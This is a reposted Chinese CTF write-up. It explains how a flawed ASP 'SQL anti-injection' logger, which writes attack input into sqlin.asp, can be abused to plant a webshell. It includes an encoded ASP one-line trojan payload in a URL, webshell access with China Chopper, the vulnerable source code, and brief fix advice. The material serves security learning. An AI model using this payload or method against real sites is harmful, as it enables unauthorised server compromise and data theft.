tft每日頭條

 > 科技

 > websql安全注入

websql安全注入

科技 更新时间:2024-12-03 20:55:02

在Access ASP架構中,很多網站采用通用防注入系統來防範SQL注入攻擊,該系統确實在一定程度上面可以防範SQL注入,但其設計時存在一個重大的缺陷,将注入操作的url數據寫入到asp文件中,如果在内容中插入Asp一句話加密木馬内容,則可以獲取webshell。

1.1.1漏洞測試

1.來自ctf通關的提示

在進行ctf實戰中,碰到一個關口,提示采用sql通用防注入系統,通過提示知道key文件就在根目錄下,而且記錄是寫入到數據庫内。

websql安全注入(SQL通用防注入系統asp版獲取webshell)1

圖1 ctf關口提示

2.測試語句

在url中添加“and 1=1”進行注入測試,如圖2所示,程序操作IP、操作時間、操作頁面、提交方式和提交參數等進行提示和記錄,提示攻擊者,網站有安全防護。

websql安全注入(SQL通用防注入系統asp版獲取webshell)2

圖2提示注入防範

1.1.2獲取webshell

1.通過sqlmap的繞過防火牆進行測試

在sqlmap中對該url地址進行繞過測試,未能成功。

2.使用加密的Asp一句話木馬

使用“and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾“對url地址進行提交,也即:

10.2.66.50:8105/news.asp?id=753 aNd 2=┼攠數畣整爠煥敵瑳∨≡┩愾

如圖3所示,sql防注入系統會自動将url地址寫入到sqlin.asp文件。

websql安全注入(SQL通用防注入系統asp版獲取webshell)3

圖3插入一句話後門測試

3.訪問sqlin.asp

在浏覽器中輸入http://10.2.66.50:8156/sqlin.asp進行訪問測試,如圖4所示,能夠正常訪問,前面插入的一句話後門直接寫入到該文件。

websql安全注入(SQL通用防注入系統asp版獲取webshell)4

圖4測試sqlin.asp文件

4.獲取webshell

在中國菜刀後門管理工具中創建asp後門記錄http://10.2.66.50:8156/sqlin.asp,密碼為a,如圖5所示,成功獲取webshell。

websql安全注入(SQL通用防注入系統asp版獲取webshell)5

圖5獲取webshell

1.1.3獲取key及程序漏洞分析

1.獲取key值

通過webshell成功獲取其key.php的值,如圖6所示。key.php在網站目錄設置了權限,無法通過http://10.2.66.50:8156/key.php直接獲取。

websql安全注入(SQL通用防注入系統asp版獲取webshell)6

圖6獲取key值

2.漏洞分析

(1)news.asp文件

通過對news.asp源代碼進行分析,發現其ID值并未進行任何過濾,明顯存在sql注入漏洞。

<% set rs= Server.CreateObject("adodb.recordset")

sql="select * from news where id="&Request("id")

rs.open sql,conn,1,3

bt=rs("bt")

nr=rs("nr")

(2)sql注入防範程序分析

sql注入防範程序是将數據信息插入到數據庫中方便,其關鍵代碼如下:

Fy_dbstr="DBQ=" server.mappath("SqlIn.asp") ";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"

Set Fy_db=Server.CreateObject("ADODB.CONNECTION")

Fy_db.open Fy_dbstr

Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")

Fy_db.close

SQL注入防範程序會将每一次的非法數據提交到sqlln.asp文件,将該文件重命名為mdb文件,打開後其内容如圖7所示,Access數據庫獲取webshell的一個關鍵條件和方法都滿足,将加密的asp一句話後門寫入數據庫内容,同時又必須是asp文件。

圖7數據庫中内容

(3)安全建議

在存在參數傳入的地方一定要進行過濾出來,同時進行類型的嚴格檢查和限定。在本例中使用sql防範程序可以解決sql注入,但如果sql防範程序存在缺陷的情況,将導緻網站存在安全風險。在本例中可以将sqlln.asp修改為mdb文件也可以避免。

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关科技资讯推荐

热门科技资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved